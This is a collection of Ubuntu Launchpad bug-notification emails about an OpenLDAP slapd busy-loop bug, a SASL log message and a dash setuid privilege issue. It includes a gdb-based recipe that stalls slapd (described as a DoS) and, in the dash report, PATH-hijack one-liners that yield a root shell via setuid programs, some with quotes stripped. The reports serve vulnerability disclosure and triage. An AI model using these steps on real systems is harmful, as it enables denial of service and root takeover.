[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
Thanks.
I notice your first write() is on fd 3 while the 2nd is on stdout (while
for me the first 2 are on fd 3, which in my case is the LDAPS socket).
For the issue to be reproduced, we need the client to be paused after
having send the TLS "client hello".
The first time the breakpoint is hit, you should be seeing something
like:
```
#0 __GI___libc_write (fd=3, buf=0x55ace4ab, nbytes=75) at
../sysdeps/unix/sysv/linux/write.c:27
#1 0x7797b408 in sb_debug_write (sbiod=0x55ab4810,
buf=0x55ace4ab, len=75) at ../../../../libraries/liblber/sockbuf.c:854
#2 0x76bd5a0a in _gnutls_writev_emu (fd=fd@entry=0x5578f240,
giovec=giovec@entry=0x7fff9b90, giovec_cnt=giovec_cnt@entry=3,
vec=0, session=, session=) at buffers.c:447
#3 0x76bd608c in _gnutls_writev (total=126, giovec_cnt=3,
giovec=0x7fff9b90, session=0x5578d3d0) at buffers.c:504
#4 _gnutls_io_write_flush (session=session@entry=0x5578d3d0) at
buffers.c:698
#5 0x76bd7200 in _gnutls_handshake_io_write_flush
(session=session@entry=0x5578d3d0) at buffers.c:820
#6 0x76bd9348 in _gnutls_send_handshake
(session=session@entry=0x5578d3d0, bufel=bufel@entry=0x55acd620,
type=type@entry=GNUTLS_HANDSHAKE_FINISHED) at handshake.c:1335
#7 0x76bda4ed in _gnutls_send_finished (again=,
session=0x5578d3d0) at handshake.c:763
#8 send_handshake_final (session=session@entry=0x5578d3d0,
init=init@entry=1) at handshake.c:3098
#9 0x76bdcd29 in handshake_client (session=0x5578d3d0) at
handshake.c:2946
#10 gnutls_handshake (session=0x5578d3d0) at handshake.c:2626
#11 0x77bbb183 in tlsg_session_accept (session=0x55abb070) at
tls_g.c:361
#12 0x77bb8751 in ldap_int_tls_connect (ld=ld@entry=0x557890d0,
conn=) at tls2.c:362
#13 0x77bb9466 in ldap_int_tls_start (ld=ld@entry=0x557890d0,
conn=conn@entry=0x55789500, srv=srv@entry=0x55789440)
at tls2.c:860
#14 0x77b912b6 in ldap_int_open_connection (ld=ld@entry=0x557890d0,
conn=conn@entry=0x55789500, srv=0x55789440,
async=async@entry=0) at open.c:448
#15 0x77ba634d in ldap_new_connection (ld=ld@entry=0x557890d0,
srvlist=srvlist@entry=0x55789198, use_ldsb=use_ldsb@entry=1,
connect=connect@entry=1, bind=bind@entry=0x0, m_req=m_req@entry=0, m_res=0)
at request.c:487
#16 0x77b9074a in ldap_open_defconn (ld=ld@entry=0x557890d0) at
open.c:41
#17 0x77ba7908 in ldap_send_initial_request
(ld=ld@entry=0x557890d0, msgtype=msgtype@entry=96, dn=dn@entry=0x0,
ber=0x557894a0,
msgid=1) at request.c:130
#18 0x77b9ab8f in ldap_sasl_bind (ld=0x557890d0, dn=0x0,
mechanism=, cred=0x557692e0 , sctrls=0x0,
cctrls=0x0, msgidp=0x7fffa2dc) at sasl.c:164
#19 0xd33b in ?? ()
#20 0x844f in ?? ()
#21 0x77388bf7 in __libc_start_main (main=0x81b0, argc=4,
argv=0x7fffe638, init=, fini=,
rtld_fini=, stack_end=0x7fffe628) at
../csu/libc-start.c:310
#22 0x966a in ?? ()
```
And we need to make sure the server or client doesn't reject that
connection outright.
It would worth running "tshark -i any -f 'port 636'" in the mean time to
verify the "client hello" is sent and that the server is willing to
carry on the connection.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
Confirmed
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help :
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
lincvz:
> Thank you for the patch and your investigations. In the next few days, I
> cannot install the patched package on my production machines. I'll let you
> know when I can.
Thanks.
Can you reproduce a similar issue with the modus operandi (using gdb) I
describe above?
(Note that while it renders slapd unresponsive, service is restored as
soon as you quit or detach gdb on the client).
If you do, it would be worth getting a backtrace on the slapd threads
again, so see if you get the same ones as before or some similar to
mine.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
Confirmed
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
> This is a valid issue, but are we certain it's the same one? The
> reporter talked about sched_yield and their backtraces included several
> threads of back_monitor waiting on some kind of lock.
You're right. It may be a different issue (though possibly linked to the
same root cause). In my case, all other threads are stuck on:
#0 0x7f2a010fdad3 in futex_wait_cancelable (private=,
expected=0, futex_word=0x55d92cadaa78) at
../sysdeps/unix/sysv/linux/futex-internal.h:88
#1 __pthread_cond_wait_common (abstime=0x0, mutex=0x55d92cadaa28,
cond=0x55d92cadaa50) at pthread_cond_wait.c:502
#2 __pthread_cond_wait (cond=cond@entry=0x55d92cadaa50,
mutex=mutex@entry=0x55d92cadaa28) at pthread_cond_wait.c:655
#3 0x7f2a01fc7475 in ldap_pvt_thread_cond_wait
(cond=cond@entry=0x55d92cadaa50, mutex=mutex@entry=0x55d92cadaa28) at
../../../../libraries/libldap_r/thr_posix.c:277
#4 0x7f2a01fc6d1b in ldap_int_thread_pool_wrapper (xpool=0x55d92cadaa20)
at ../../../../libraries/libldap_r/tpool.c:683
#5 0x7f2a010f76db in start_thread (arg=0x7f29f99b6700) at
pthread_create.c:463
#6 0x7f2a00e1971f in clone () at
../sysdeps/unix/sysv/linux/x86_64/clone.S:95
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
Confirmed
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
** Information type changed from Public to Public Security
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
Confirmed
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
> It can be reproduced by running on a client:
>
> gdb --args ldapsearch -H ldaps://ldap.example.com -x
>
> Then in gdb:
>
> break write
> run
> continue
I can no longer reproduce it after I rebuild and install the libldap
package with
https://github.com/openldap/openldap/commit/4c1ab16ade18a253dd81df7e6eced4d920ac6a8e
applied.
Note that since the above is enough to render slapd unresponsive for 15
minutes, it could be considered as a serious DoS vulnerability.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
Confirmed
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
Yes,
https://github.com/openldap/openldap/commit/735e1ab14bb055344b4e767a216aa410aa7d1503
can't be directly applied there. There have been other changes in
between in that section including changes in API, so it would take more
effort to backport that fix.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
New
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
cherry picking
https://github.com/openldap/openldap/commit/4c1ab16ade18a253dd81df7e6eced4d920ac6a8e
should fix this particular issue but reintroduce
https://bugs.openldap.org/show_bug.cgi?id=8650.
It may be necessary to pick
https://github.com/openldap/openldap/commit/735e1ab14bb055344b4e767a216aa410aa7d1503
as well but as that's much more recent, I can't tell if it's valid on
top of the package used in bionic. I'm going to do some tests.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1926265
Title:
slapd enter in infinite loop on sched_yield syscall
Status in openldap package in Ubuntu:
New
Bug description:
On a production server, sometimes slapd become unbresponsive, some threads
loops in sched_yield syscall and consumme all CPU.
To recover, slapd needs to restart.
No related information is reported in log file.
All same issues in OpenLDAP upstream project are old and fixed.
So maybe this issue affects only Ubuntu package.
It occurs randomly, so I have no steps to reproduce.
OS : Bionic
Openldap version:
libldap-2.4-2:amd642.4.45+dfsg-1ubuntu1.10
libldap-common 2.4.45+dfsg-1ubuntu1.10
slapd 2.4.45+dfsg-1ubuntu1.10
Modules loaded:
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov
olcModuleLoad: {2}back_monitor
olcModuleLoad: {3}memberof.la
olcModuleLoad: {4}refint.la
olcModuleLoad: {5}rwm
olcModuleload: {6}back_ldap
Backend is BDB. slapd run in (single) master - (multi) slave mode.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1926265/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1926265] Re: slapd enter in infinite loop on sched_yield syscall
The important backtrace in there is the one from thread 11: #0 0x7fb288428474 in read () from /lib/x86_64-linux-gnu/libpthread.so.0 No symbol table info available. #1 0x7fb2890c4518 in ?? () from /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2 No symbol table info available. #2 0x7fb287895848 in ?? () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #3 0x7fb28788f96a in ?? () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #4 0x7fb287896d03 in ?? () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #5 0x7fb28789991c in ?? () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #6 0x7fb2878a10cb in ?? () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #7 0x7fb28789d572 in gnutls_handshake () from /usr/lib/x86_64-linux-gnu/libgnutls.so.30 No symbol table info available. #8 0x7fb289304199 in ?? () from /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2 No symbol table info available. #9 0x7fb289301abb in ldap_pvt_tls_accept () from /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2 No symbol table info available. #10 0x556b843e6f69 in connection_read (cri=, s=430) at ../../../../servers/slapd/connection.c:1375 debug symbols are missing there, but I have the exact same problem and get: #0 0x7f2a01101474 in __libc_read (fd=40, buf=0x7f29dc142ecb, nbytes=5) at ../sysdeps/unix/sysv/linux/read.c:27 #1 0x7f2a01db0518 in sb_debug_read (sbiod=0x7f29dc10e940, buf=0x7f29dc142ecb, len=5) at ../../../../libraries/liblber/sockbuf.c:829 #2 0x7f2a00558848 in _gnutls_stream_read (ms=0x7f29e8ffb41c, pull_func=0x7f2a01ff1da0 , size=5, bufel=, session=0x7f29dc008060) at buffers.c:344 #3 _gnutls_read (ms=0x7f29e8ffb41c, pull_func=0x7f2a01ff1da0 , size=5, bufel=, session=0x7f29dc008060) at buffers.c:424 #4 _gnutls_io_read_buffered (session=session@entry=0x7f29dc008060, total=5, recv_type=recv_type@entry=4294967295, ms=0x7f29e8ffb41c) at buffers.c:579 #5 0x7f2a0055296a in recv_headers (ms=, record=0x7f29e8ffb470, htype=GNUTLS_HANDSHAKE_CLIENT_KEY_EXCHANGE, type=GNUTLS_HANDSHAKE, record_params=0x7f29dc1279f0, session=0x7f29dc008060) at record.c:1045 #6 _gnutls_recv_in_buffers (session=session@entry=0x7f29dc008060, type=type@entry=GNUTLS_HANDSHAKE, htype=htype@entry=GNUTLS_HANDSHAKE_CLIENT_KEY_EXCHANGE, ms=, ms@entry=0) at record.c:1173 #7 0x7f2a00559d03 in _gnutls_handshake_io_recv_int (session=session@entry=0x7f29dc008060, htype=htype@entry=GNUTLS_HANDSHAKE_CLIENT_KEY_EXCHANGE, hsk=hsk@entry=0x7f29e8ffb580, optional=optional@entry=0) at buffers.c:1412 #8 0x7f2a0055c91c in _gnutls_recv_handshake (session=session@entry=0x7f29dc008060, type=type@entry=GNUTLS_HANDSHAKE_CLIENT_KEY_EXCHANGE, optional=optional@entry=0, buf=buf@entry=0x7f29e8ffb830) at handshake.c:1465 #9 0x7f2a005640cb in _gnutls_recv_client_kx_message (session=session@entry=0x7f29dc008060) at kx.c:563 #10 0x7f2a00560572 in handshake_server (session=0x7f29dc008060) at handshake.c:3327 #11 gnutls_handshake (session=0x7f29dc008060) at handshake.c:2629 #12 0x7f2a01ff2199 in tlsg_session_accept (session=0x7f29dc1133f0) at tls_g.c:363 #13 0x7f2a01fefabb in ldap_pvt_tls_accept (sb=0x7f299c0051a0, ctx_arg=0x55d92cbca560) at tls2.c:425 and I've tracked it down to: https://bugs.openldap.org/show_bug.cgi?id=8650#c12 Basically, what we see is one thread stuck in a busy loop doing read()s on the TCP socket which all return immediately with EAGAIN as the fd is in non-blocking mode. In my cases, the client go offline just after sending the TLS client hello. That lasts for 15 minutes or about, probably until some timeout after which the TCP connection is eventually considered dead. It can be reproduced by running on a client: gdb --args ldapsearch -H ldaps://ldap.example.com -x Then in gdb: break write run continue Then the client is paused after sending the TLS "client hello". https://bugs.openldap.org/show_bug.cgi?id=8650#c12 explains that it's https://github.com/openldap/openldap/commit/7b5181da8cdd47a13041f9ee36fa9590a0fa6e48 that is responsible for the issue. https://github.com/openldap/openldap/commit/4c1ab16ade18a253dd81df7e6eced4d920ac6a8e reverted that commit, but that one did not make it into bionic. So cherry picking https://github.com/openldap/openldap/commit/4c1ab16ade18a253dd81df7e6eced4d920ac6a8e should fix it. ** Bug watch added: bugs.openldap.org/ #8650 https://bugs.openldap.org/show_bug.cgi?id=8650 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openldap in Ubuntu. https://bugs.launchpad.net/bugs/1926265 Title: slapd enter in infinite loop on sched_yield syscall Status in openldap package in Ubuntu: New Bug description: On a production server, sometimes slapd become unbresponsive, some threads loops in
[Touch-packages] [Bug 827151] Re: Annoying log message "DIGEST-MD5 common mech free"
See with just running ldapsearch after upgrade to 16.04: ``` # repeat 10 ldapsearch -x > /dev/null # tail /var/log/auth.log Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free Apr 19 14:53:01 hostname ldapsearch: DIGEST-MD5 common mech free ``` -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cyrus-sasl2 in Ubuntu. https://bugs.launchpad.net/bugs/827151 Title: Annoying log message "DIGEST-MD5 common mech free" Status in Cyrus-sasl2: New Status in cyrus-sasl2 package in Ubuntu: Fix Released Status in cyrus-sasl2 source package in Trusty: Triaged Status in cyrus-sasl2 source package in Xenial: Incomplete Status in cyrus-sasl2 source package in Yakkety: Fix Released Status in cyrus-sasl2 package in Debian: Fix Released Bug description: I recently updated the libsasl2-modules to 2.1.24~rc1.dfsg1+cvs2011-05-23-4ubuntu1 in oneiric. That triggered the bug also described in Debian here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=631932 The annoying message is logged in auth.log. In my case, it is associated with svnserve: svnserve: DIGEST-MD5 common mech free I'm not exactly sure what action triggers the message, but I can investigate more if required. $ lsb_release -rd Description:Ubuntu oneiric (development branch) Release:11.10 To manage notifications about this bug go to: https://bugs.launchpad.net/cyrus-sasl2/+bug/827151/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1215660] Re: dash does not drop privileges when euid != uid, this can cause local root exploits when setuid programs use system() or popen()
correction on my previous comment:
My point 1 is only true on Debian and derivatives. bash does drop its
privilege when setuid and called as sh without -p just like when not
called as sh, but Debian's bash package has a patch that disables that
dropping of privileges when called as sh.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
** Bug watch added: Debian Bug tracker #52586
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dash in Ubuntu.
https://bugs.launchpad.net/bugs/1215660
Title:
dash does not drop privileges when euid != uid, this can cause local
root exploits when setuid programs use system() or popen()
Status in dash package in Ubuntu:
Triaged
Bug description:
Poorly written setuid programs may call 'popen' or 'system' with
incorrectly specified arguments. For instance, there is a bug in
vmware-mount where it calls popen('lsb-release') (CVE-2013-1662). It
should be popen('/usr/bin/lsb-release'). Because of this, an
attacker can drop a file named 'lsb-release' in . and then call
vmware-mount, and it will happily popen the attacker controlled file
as root.
Now, bash has a 'privdrop' option, however debian removed this option in the
1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
Most shells will drop privs when euid != uid, because it turns out
calling popen / system from setuid scripts is nearly impossible to get
right (in fact, pretty much any setuid script is insanely difficult to
write without a vulnerability in it.
Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(sh`tty`
21);}';PATH=.:$PATH vmware-mount
# whoami
root
If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(/bin/sh`tty`
21);}';PATH=.:$PATH vmware-mount
BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/local/google/home/antarus $ whoami
whoami: unknown uid X # I have omitted my actual UID, needless to say it
isn't uid 0 :)
Now you may be saying 'hey i don't have vmware-mount handy' so
instead:
antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include stdio.h
int main(int argc, char ** argv) {
popen(lsb_release, r);
}
antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(whoami`tty`
21);}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root
Distributor ID: Ubuntu
Description:Ubuntu 12.04.1 LTS
Release:12.04
Codename: precise
antarus@goats5 ~ $ apt-cache policy dash
dash:
Installed: 0.5.7-2ubuntu2
Candidate: 0.5.7-2ubuntu2
Version table:
*** 0.5.7-2ubuntu2 0
600 my-apt-mirror ubuntu-precise/main amd64 Packages
100 /var/lib/dpkg/status
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dash/+bug/1215660/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1215660] Re: dash does not drop privileges when euid != uid, this can cause local root exploits when setuid programs use system() or popen()
There are several incorrect statements in the initial report and the
linked CVE.
1. bash doesn't drop its privilege when setuid when called as sh. It
only does so when called as bash and without the -p option. It does
however go into a mode where it does not trust its environment as much
as when it's not setuid. It still trusts $PATH though.
2. pdksh like ATT ksh or bash when called as sh, does not drop
privileges on startup. It enters the privileged mode in which it is
more careful in what it does with the environment (for instance, ignores
ENV as mandated by POSIX). Only recent versions of mksh (and possibly
OpenBSD sh/ksh) based on pdksh drop the privileges.
3. Non-Linux sh are generally not pdksh. From the major ones, only
OpenBSD and MirBSD have shells *based* on pdksh. Other BSDs generally
have a shell based on the Almquist shell (dash itself is mostly based on
NetBSD sh) or bash (like OS/X) and commercial unices generally on ATT
ksh88
4. So it's not most shells dropping privileges. bash (as sh), dash,
pdksh, ATT ksh, yash don't. Only some pdksh derivatives and bash when
called as sh do.
5. calling popen(/usr/bin/lsb-release) as root is not the right
solution as lsb-release doesn't need super-user privileges and is not
guaranteed to be found in /usr/bin and is at least on Debian a python
script (python's behaviour can also be affected by env vars) that relies
on PATH to find other utilities, so PATH would still need to be
sanitized).
So dash is not any more vulnerable that any other shell in that regard
and is certainly a much better choice in terms of security for /bin/sh
than any other bigger shell like bash, zsh or ATT ksh.
Changing dash so it drops privileges is likely to break some usages
(rare as it's widely known that calling shells in setuid contexts is
very risky).
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dash in Ubuntu.
https://bugs.launchpad.net/bugs/1215660
Title:
dash does not drop privileges when euid != uid, this can cause local
root exploits when setuid programs use system() or popen()
Status in “dash” package in Ubuntu:
Triaged
Bug description:
Poorly written setuid programs may call 'popen' or 'system' with
incorrectly specified arguments. For instance, there is a bug in
vmware-mount where it calls popen('lsb-release') (CVE-2013-1662). It
should be popen('/usr/bin/lsb-release'). Because of this, an
attacker can drop a file named 'lsb-release' in . and then call
vmware-mount, and it will happily popen the attacker controlled file
as root.
Now, bash has a 'privdrop' option, however debian removed this option in the
1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
Most shells will drop privs when euid != uid, because it turns out
calling popen / system from setuid scripts is nearly impossible to get
right (in fact, pretty much any setuid script is insanely difficult to
write without a vulnerability in it.
Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(sh`tty`
21);}';PATH=.:$PATH vmware-mount
# whoami
root
If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(/bin/sh`tty`
21);}';PATH=.:$PATH vmware-mount
BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/local/google/home/antarus $ whoami
whoami: unknown uid X # I have omitted my actual UID, needless to say it
isn't uid 0 :)
Now you may be saying 'hey i don't have vmware-mount handy' so
instead:
antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include stdio.h
int main(int argc, char ** argv) {
popen(lsb_release, r);
}
antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release'main(){system(whoami`tty`
21);}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root
Distributor ID: Ubuntu
Description:Ubuntu 12.04.1 LTS
Release:12.04
Codename: precise
antarus@goats5 ~ $ apt-cache policy dash
dash:
Installed: 0.5.7-2ubuntu2
Candidate: 0.5.7-2ubuntu2
Version table:
*** 0.5.7-2ubuntu2 0
